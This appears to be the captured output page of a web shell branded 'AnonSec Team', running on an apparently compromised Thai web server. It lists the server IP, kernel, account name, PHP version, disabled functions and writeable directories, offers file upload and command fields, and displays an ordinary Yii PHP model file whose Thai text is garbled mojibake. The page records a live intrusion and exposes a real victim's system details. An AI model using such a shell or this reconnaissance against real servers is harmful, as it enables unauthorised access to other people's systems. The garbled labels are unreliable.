NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 3.15.165.138
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/backup/protected/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/backup/protected/models/tbOPT.php
<?php

class tbOPT extends CActiveRecord {
    
    public static function model($className = __CLASS__) {
        return parent::model($className);
    }
    
    public function tableName() {
        return 'tb_opt';
    }
    
    public function attributeLabels() {
        return array(
            'id' => 'ID',
            'opt_type' => 'เธ›เธฃเธฐเน€เธ เธ—',
            'opt_title' => 'เธซเธฑเธงเธ‚เน‰เธญ',
            'opt_detail' => 'เธฃเธฒเธขเธฅเธฐเน€เธญเธตเธขเธ”',
            'opt_status' => 'เธชเธ–เธฒเธ™เธฐ',
            //'opt_date_true' => 'เธงเธฑเธ™เธ—เธตเนˆเธฅเธ‡เธ‚เนˆเธฒเธง',
            //'opt_date' => 'เธงเธฑเธ™เธ—เธตเนˆเธชเธฃเน‰เธฒเธ‡',
            'opt_views' => 'เธˆเธณเธ™เธงเธ™เธเธฒเธฃเธ”เธน',
        );
    }
    
    public function rules() {
        return array(
            array('opt_title', 'required', 'message'=>'{attribute} ## เธซเน‰เธฒเธกเน€เธ›เน‡เธ™เธ‚เน‰เธญเธกเธนเธฅเธงเนˆเธฒเธ‡.'),
            array('opt_title', 'unique', 'message'=>'{attribute} ## เธซเน‰เธฒเธกเธ‹เน‰เธณเธเธฑเธ™.'),
            // array('tender_title', 'match', 'pattern'=>'/^[เธ-เธฎเธฐ-เนŒเน€ A-Za-z0-9]+$/', 'message'=>'{attribute} ## เธ•เน‰เธญเธ‡เน€เธ›เน‡เธ™ เธ เธฒเธฉเธฒเน„เธ—เธข, เธ เธฒเธฉเธฒเธญเธฑเธ‡เธเธคเธฉ, เธ•เธฑเธงเน€เธฅเธ‚ เนเธฅเธฐ เธŠเนˆเธญเธ‡เธงเนˆเธฒเธ‡เน€เธ—เนˆเธฒเธ™เธฑเน‰เธ™.'),
            
            array('id, opt_detail, opt_type, opt_status, opt_views', 'safe'),
        );
    }
    
    public function relations() {
        return array(
            'tbOPTFile' => array(self::HAS_MANY, 'tbOPTFile', 'tb_opt_id'),
        );
    }
    
    public function statusThai($data, $row) {
        return OtherFunction::statusThai($data->opt_status);
    }
    
    public function beforeSave() {
        if ($this->isNewRecord) {
            //$this->tender_date = new CDbExpression('NOW()');
            $this->opt_views = 0;
        }
        
        //if ($this->tender_date_true) {
           // $this->tender_date_true = date('Y-m-d', strtotime($this->tender_date_true));
        //}
        
        return parent::beforesave();
    }
    
    /*public function afterFind() {
        if ($this->tender_date_true) {
            $this->tender_date_true = date('d-m-Y', strtotime($this->tender_date_true));
        }
        
        return parent::afterFind();
    }
    
    public function dateThai($data, $row) {
        return OtherFunction::DateThai($data->tender_date_true);
    }*/
    
    public function typeThai($data, $row) {
        switch($data->opt_type) {
            case 'opt1':
                return 'เธกเธฒเธ•เธฃเธเธฒเธฃเธ›เน‰เธญเธ‡เธเธฑเธ™เธเธฒเธฃเธ—เธธเธˆเธฃเธดเธ•';
                break;
            case 'opt2':
                return 'เธ„เธนเนˆเธกเธทเธญเธเธฒเธฃเธ”เธณเน€เธ™เธดเธ™เธ‡เธฒเธ™';
                break;
			case 'opt3':
                return 'เธ›เธฃเธฐเธเธฒเธจ/เธ„เธณเธชเธฑเนˆเธ‡';
                break;
        }
    }
}
?>

Anon7 - 2022
AnonSec Team